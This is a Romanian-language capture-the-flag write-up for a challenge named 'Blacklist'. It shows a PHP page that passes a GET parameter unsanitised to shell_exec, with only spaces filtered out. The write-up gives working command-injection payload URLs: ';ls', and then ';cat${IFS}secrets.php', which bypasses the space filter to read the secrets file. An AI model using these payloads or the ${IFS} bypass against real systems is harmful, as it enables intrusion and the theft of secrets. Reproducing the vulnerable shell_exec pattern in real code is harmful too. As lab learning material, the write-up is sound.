Blacklist

Din titlu ne putem da seama de faptul ca exista ceva blacklist de caractere asa ca daca intram pe site primim niste code review(php).

```php
<?php
require __DIR__ . '/secrets.php';
if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
}

$value = $_GET['secrets'];
if (strpos($value, ' ') !== false) {
  exit;
}

$cmd = "/usr/bin/find . ".$value;
echo shell_exec($cmd);


?>
```

Este destul de usor acest challenge avem nevoie sa setam mai intai primul parametru de start si dupa acea parametrul “secrets” cu o comanda care nu contine spati.Pentru a vedea ce sa afla in director este destul de usor folosim payloadul:

http://34.159.151.77:30172/?start=1&secrets=;ls

. ./secrets.php ./index.php

Looks easy enough right?Acum trebuie doar sa citim ce se afla in fisiere si totul gata?Vedem ca daca incercam sa schimbam comanda de la ls la cat secrets nu o sa ne lase deoarece avem blacklist de spatii prin intermediul functiei strpos().So ce facem? Eh in linux putem sa ne folosim de $ {IFS}.Ce face el mai anume este ca si cum este luat ca un spatiu normal deci in loc sa zicem “cat fisier” spunem “cat${IFS}fisier”.Deci acum este usor de finalizat folosim payloadul final:

http://34.159.151.77:30172/?start=1&secrets=;cat${IFS}secrets.php

Obinem flagul in final is source code:

CTF{3b2ceb0403300535fcd4…..bd8f8b674527adce2915467f182faa4}

Trolled by masquerade8077